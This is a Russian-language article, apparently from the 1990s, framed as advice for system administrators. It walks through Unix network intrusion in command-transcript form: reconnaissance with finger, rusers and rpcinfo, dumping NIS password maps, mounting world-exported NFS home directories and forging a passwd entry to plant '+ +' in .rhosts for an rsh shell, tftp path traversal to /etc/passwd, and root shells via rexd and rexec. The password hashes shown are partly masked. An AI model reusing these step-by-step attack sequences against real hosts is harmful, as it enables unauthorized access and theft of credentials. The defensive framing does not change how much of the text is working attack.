Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Советы системному администратору.

Советы системному администратору.

 

Советы системному администратору.

Каждый день по всему миру взламываются компьютерные сети и сервера. Уровень этих атак различен. Вопреки общему представлению что большинство из них происходит из-за слабых паролей, множество атак использует более сложный способ. Эти способы менее известны и их трудно обнаружить. Чтобы защититься от таких проникновений необходимо понимать их. Мы попытаемся пояснить некоторые из них...

Почему мы решили написать этот документ? Большинство книг и документов посвященных защите смотрят на нее глазами администратора - человека который сидит внутри системы и иногда плохо представляет ее внешние границы. Давайте отойдем от привычных представлений о системе защиты. Посмотрим на нее глазами потенциального взломщика. Для этого человека ваша система - черный ящик (или коробка шоколадных конфет). Показывая что он может сделать для того чтобы получить доступ на ваш компьютер, мы пытаемся помочь системным администраторам получит представление о там на сколько реально защищен ваш хост. Мы не предполагаем раскрыть здесь все технологии и лазейки в системе - их количество растет каждый день. Системы усовершенствуются - изменяются технологии.

Какую информацию мы можем получить об удаленной системе? Существует множество сетевых сервисов к которым следует обратиться: finger, rusers, showmount, rpcinfo, dns, ftp, sendmail... В идеале стоит собирать всю возможную информацию - информация это власть.
Давайте попробуем. Что мы можем узнать?

0. Возможно не плохой шаг сначала узнать возможные allias, имя nameserver и состав сети в которой стоит этот хост. В этом может помочь nslookup (смотри man nslookup).

1. finger и rusers:

devil# finger @www.xxx.xxxx.su


[www.xxx.xxxx.su]


Login       Name              TTY Idle    When            Office


kuzmenko Vladimir Kizmenko     p0 4:57 Sun 08:25


kuzmenko Vladimir Kizmenko     p1 2:38 Sun 08:26


milichen Yuri Mulichenko       p4 4:59 Fri 19:41   3B/r410    1-35-13


sherbak  Eugeny Scherbkov      p5 5:00 Sat 10:18  221/r448    1-77-33





devil# finger yur@ccsix.xxxx.xxxx.ru


[ccsix.xxxx.xxxx.ru]


Login: yur            Name: Yuri A. Podgorodsky


Directory: /home/yur                Shell: /bin/bash


On since Sat Apr 12 12:24 (MSK) on ttyp0 from jannet.xxxx.xxxx


   3 hours 35 minutes idle


Mail forwarded to yur@jannet.xxxx.xxxx.ru


No mail.


No Plan.





devil# rusers -l unisun.xxxxx-xxx.net


Login        Name             TTY      When           Idle  Host


lavrov       unisun.xxxxx-xxx:console  Apr  2 10:32   17:37


suh          unisun.xxxxx-xxx:ttyp0    Apr  5 10:20   17:32 (mskws.desy.de)


lavrov       unisun.xxxxx-xxx:ttyp1    Apr  2 11:21   25:55 (:0.0)


lavrov       unisun.xxxxx-xxx:ttyp2    Apr  2 10:33   97:11 (:0.0)


...


Эти сервисы дают нам аккаунты, позволяют нам узнать кто в данный момент работает в системе, их shell и домашний каталог, возможно имена доверенных хостов. Обратите внимание на графу Idle, если в ней стоит несколько часов, то скорее всего в данный момент никто не обратит на вас внимание.

2. rpcinfo:



devil# rpcinfo sun10.xxx.xxx.su


   program version netid     address             service    owner


    100000    2    tcp       0.0.0.0.0.111       rpcbind    unknown


    100000    2    udp       0.0.0.0.0.111       rpcbind    unknown


    100004    2    udp       0.0.0.0.2.150       ypserv     unknown


    100004    2    tcp       0.0.0.0.2.151       ypserv     unknown


    100004    1    udp       0.0.0.0.2.150       ypserv     unknown


    100004    1    tcp       0.0.0.0.2.151       ypserv     unknown


    100069    1    udp       0.0.0.0.2.152       -          unknown


    100069    1    tcp       0.0.0.0.2.154       -          unknown


    100007    2    tcp       0.0.0.0.4.0         ypbind     unknown


    100007    2    udp       0.0.0.0.4.3         ypbind     unknown


    100007    1    tcp       0.0.0.0.4.0         ypbind     unknown


    100007    1    udp       0.0.0.0.4.3         ypbind     unknown


    100028    1    tcp       0.0.0.0.2.156       ypupdated  unknown


    100028    1    udp       0.0.0.0.2.158       ypupdated  unknown


    100009    1    udp       0.0.0.0.3.255       yppasswdd  unknown


    100029    1    udp       0.0.0.0.2.159       keyserv    unknown


    100003    2    udp       0.0.0.0.8.1         nfs        unknown


    100005    1    udp       0.0.0.0.2.223       mountd     unknown


    100005    2    udp       0.0.0.0.2.223       mountd     unknown


    100005    1    tcp       0.0.0.0.2.226       mountd     unknown


    100005    2    tcp       0.0.0.0.2.226       mountd     unknown


    100024    1    udp       0.0.0.0.2.226       status     unknown


    100024    1    tcp       0.0.0.0.2.228       status     unknown


    100021    1    tcp       0.0.0.0.2.229       nlockmgr   unknown


...

rpcinfo дает информацию о запущенных RPC сервесах. Наиболее интересны из них mountd, nisd, ypserv и ypbind, statd, bootparam, pcnfsd, rexd.
statd позволяет стереть удаленно любой файл

(rs host //../../../../../../../../../etc/passwd),

pcnfsd и mountd дают доступ к дискам машины, rexd - удаленное выполнение команд.

3. NIS (nisd, ypbind, ypserv).

Если эта машина является NIS сервером, то зная NIS имя домена вы можете получить любые NIS карты простым rpc запросом. Обычно это имя совпадает с именем домена и можно попытаться его угадать:



devil# ypx -dg sun10.xxx.xxx.su


Trying domain sun10.xxx.xxx.su


Trying domain sun10


Trying domain xxx.xxx.su


sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag


sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag


sybase:*:13:55:syb:/usr/nms/sybase:/bin/csh


nobody:*:65534:65534::/:


daemon:*:1:1::/:


audit:*:9:9::/etc/security/audit:/bin/csh


uucp:*:4:8::/var/spool/uucppublic:


sync:__F324VMRDcL6:1:1::/:/bin/sync


root:__Ye.Ibw.8uQg:0:3:Operator:/:/bin/csh


news:*:6:6::/var/spool/news:/bin/csh


sys:*:2:2::/:/bin/csh


snm:__7ck.pfEh/2s:11:11:Network Manager:/usr/snm:/bin/csh


rom:__IriAsoksSeE:10:10:Victor Romanchik:/usr/rom:/bin/csh


nms:*:12:55:Network Manager:/usr/nms:/bin/csh


bin:*:3:3::/bin:


YP map transfer successfull.


(мы заменили первые два символа каждого пароля на '__' и изменили имена здесь и далее в тексте)

Если угадать NIS имя домена не удается, возможно получить его через bootparam сервис или подсмотреть в директории /var/yp, если она доступна публично.

4. showmount:



devil# showmount -e thsun1.xxxx.xxxxx.su


export list for thsun1.xxxx.xxxxx.su:


/pub                          (everyone)


/opt                          thsun2,thsun3,tlx39


/pgm/linux                    (everyone)


/export                       (everyone)


/usr                          (everyone)


/tftpboot                     (everyone)


/cdrom/sol_2_3_hw894_sparc/s0 (everyone)


/home                         (everyone)


/scratch/users                (everyone)


С помощью showmount мы узнали о разделах, предоставляемых этим хостом, о правах доступа к ним и возможно о доверенных хостах. Такие важные каталоги как export, home, usr доступны всем! Попробуем...



devil# mount -F nfs thsun1.xxxx.xxxxx.su:/home /mnt


devil# cd /mnt


devil# ls -al





total 12524


drwxr-xr-x  17 root     root        1024 Jun 28  1996 .


drwxr-xr-x  28 root     root        1024 Apr 12 16:29 ..


drwxr-xr-x   2 root     root         512 May 19  1995 TT_DB


drwxr-xr-x   3 root     798          512 Nov 25  1994 cfi


drwxr-xr-x   6 root     100          512 Nov 25  1994 dug


drwxr-xr-x   9 root     other        512 Feb 17 11:19 lcta


drwxr-xr-x   3 root     other        512 Jun 19  1996 lhep


drwxr-xr-x   6 root     other        512 Feb 14 11:16 lnp


drwxr-xr-x   6 root     other        512 Feb 14 11:19 lnup


drwxr-xr-x   4 root     other        512 Jan 15  1995 lnur


....





devil# cd lnup


devil# ls -al


total 12


drwxr-xr-x   6 root     other        512 Feb 14 11:19 .


drwxr-xr-x  17 root     root        1024 Jun 28  1996 ..


drwxr-xr-x   3 6000     600          512 Oct 30  1995 dolbilov


drwxr-xr-x   9 6190     600         1024 Oct  7  1996 davgun


drwxr-xr-x   4 6001     600          512 Oct 20  1995 gvf


drwxr-xr-x   4 6003     600          512 Apr  4 10:31 yup





devil# echo 'dolbilov::600:' >> /etc/groups


devil# echo 'dolbilov:x:6000:600::/noway:/bin/csh' >> /etc/passwd


devil# su dolbilov


$ cd dolbilov


$ ls -al


total 30


drwxr-xr-x   3 dolbilov dolbilov     512 Apr 12 16:21 .


drwxr-xr-x   6 root     other        512 Feb 14 11:19 ..


-rw-r--r--   1 dolbilov dolbilov    2901 Apr  7  1993 .cshrc


-rw-r--r--   1 dolbilov dolbilov    1550 Apr  7  1993 .login


-rw-r--r--   1 dolbilov dolbilov    2750 Apr  7  1993 .rootmenu


-rw-r--r--   1 dolbilov dolbilov     478 Apr  7  1993 .sunview


-rw-------   1 dolbilov dolbilov    2196 Oct 30  1995 mbox


drwxr-xr-x   2 dolbilov dolbilov     512 Nov 25  1994 timezone


$ echo '+ +' > .rhosts


$ exit


devil# rsh -l dolbilov thsun1.xxxx.xxxxx.su /bin/csh -i


$


Таким образом мы получили shell на удаленной машине.

5. sendmail:



devil# telnet www.xxx.ru 25


Trying 193.124.xxx.xx...


Connected to www.xxx.ru.


Escape character is '^]'.


220 www.xxx.ru ESMTP Sendmail 8.8.5/8.8.5; Sat, 12 Apr 1997 15:55:36 +0400


vrfy serg


550 serg... User unknown


vrfy alex


250 Alexei E. Katov


...


Так мы попытались угадать несколько системных аккаунтов и конечно записали версию sendmail'a - программы содержащей легендарное количество ошибок. Не будем заострять на них внимания. Новые версии выходять регулярно, старые ошибки исправляются, появляются новые. :)

6. tftp:

tftp широко известная программа похожая на ftp, служит для простейшего трансфера файлов. Ошибки в ней известны и исправлены в большинстве ОС, но и нижеследующий пример можно встретить:



devil# tfp www.xxx.ru


tftp> get /tmp/../../../../../../../../../etc/passwd /tmp/passwd


tftp> quit


devil#


7. ftp:

Сервис ftp является не только удобным, но и опасным для вашей системы. Опасность представляет не только возможность украсть доверенную информацию или занести свою при неправильной конфигурации демона. Опасность представляет возможное крушение демона командами пользователя.



devil# ftp xxxxxxxxxxx.xxx.com


Connected to xxxxxxxxxxx.xxx.com.


220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready.


Name (xxxxxxxxxxx.xxx.com:root): ftp


331 Guest login ok, send ident as password.


Password:


230 Guest login ok, access restrictions apply.


ftp> user root


530 User root unknown.


Login failed.


ftp> user root


530 User root unknown.


Login failed.


ftp> user foobar


530 User foobar access denied.


Login failed.


ftp> quote pasv


421 Service not available, remote server has closed connection


ftp> o xxxxxxxxxxx.xxx.com


Connected to xxxxxxxxxxx.xxx.com.


220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready.


Name (xxxxxxxxxxx.xxx.com:root): ftp


331 Guest login ok, send ident as password.


Password:


230 Guest login ok, access restrictions apply.


ftp> bin


200 Type set to I.


ftp> get core


200 PORT command successful.


150 Binary data connection for core (194.хх.ххх.ххх,51553) (281136 bytes).


226 Binary Transfer complete.


local: core remote: core


281136 bytes received in 16 seconds (17 Kbytes/s)


ftp> bye


221 Goodbye.


devil#




/********** Fragment of core ************/


....994:..S.:.


srk:__a2U/fw.FWhk:....::::..S


harat:__mQb7Pij8mrA:....::::..S@


kchu:__/sPKnswJ8y2:9....::::..S`


yhew:__0/L6foNhPoA:9....:::: ..S.


:h6qh9see7ry .M:9353:....:.


pa ..S.WGZ/NEzsLjwe 2:9097::.....


flo ..S.Xbra.0mg/PMc :9097:::....


dave ..S.0VnE0zICamE: 9097::::....


on:2 ..T.VqQO2BOU:909 7::::::.....:


/****************************************/


(мы заменили первые два символа каждого пароля на '__')

7. rexd:



devil# su daemon


$ on -i faxnetxx.xxx.ru /bin/sh -i


$ uname -a


faxnetxx faxnetxx 3.2 2 i386


$ id


uid=1(daemon) gid=1(other)


$


8. Сканирование портов.

Портмэппер сообщает только о rpc сервисах. О остальных запущенных сервисах можно узнать прямым сканированием портов. Приведем только наиболее важныее порты:

а) X server.
X сервер базируется на портах 6000 + номер дислея. Если Х сервер не использует для аутенфикации magic cookies или защита отключена командой 'xhost +', информация с его дисплеев может быть подсмотрена или украдена, нажатия клавиш записаны, программы - запущены удаленно(xspy, xpush, etc). Если хост поддерживает соединение к 6000 порту то это может быть использовано для denial_of_service аттак.
б) rlogin и talkd.
В большинстве систем эти сервисы имеют ошибки связанные с переполнением буфера. rlogin пытается получить от удаленной системы переменную TERM, а talkd - узнать имя хоста требующего соединение. Если эти демоны получают в ответ строку большой длинны то происходит переполнение буфера. Это дает возможность выполнить удаленно комманды с привилегиями root.(rlogin & talkd exploits).
в) rsh и rexec.
rsh и rexec позволяют получить коммандную оболочку нее оставляя записей в log-файлах. Кроме того эти сервисы не отслеживают запрет на удаленный root логин (/etc/default/login).



devil# rsh -l smtp xxxx.xxx.ru /bin/csh -i


Warning: no access to tty; thus no job control in this shell...


# id


uid=0(root) gid=0(root)


...





devil# nc -v xxxx.xxx.ru 512


xxxx.xxx.ru [194.85.xxx.xxx] 512 (exec) open


^@root^@rootpasswd^@/bin/csh -i^@


Warning: no access to tty; thus no job control in this shell...


# id


uid=0(root) gid=1(other)


...


9. Доверенные хосты.
Обычно, работая в пределах одной группы пользователям разрешается без пароля входить на соседние компьютеры. Такие доверительные машины указываются в файлах .rhosts и hosts.equiv. Предположить какие хосты являются доверенными можно отслеживая откуда наиболее часто заходят пользователи, особенно администраторы, просматривая права на доступ к NFS разделам. Использование доверительных отношений создает определенное удобство, но вместе с тем порождает опасность проникновения в систему злоумышленников. Взломщик может исказить информацию в DNS или NIS сервере и выдавать себя за доверенный хост.


  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте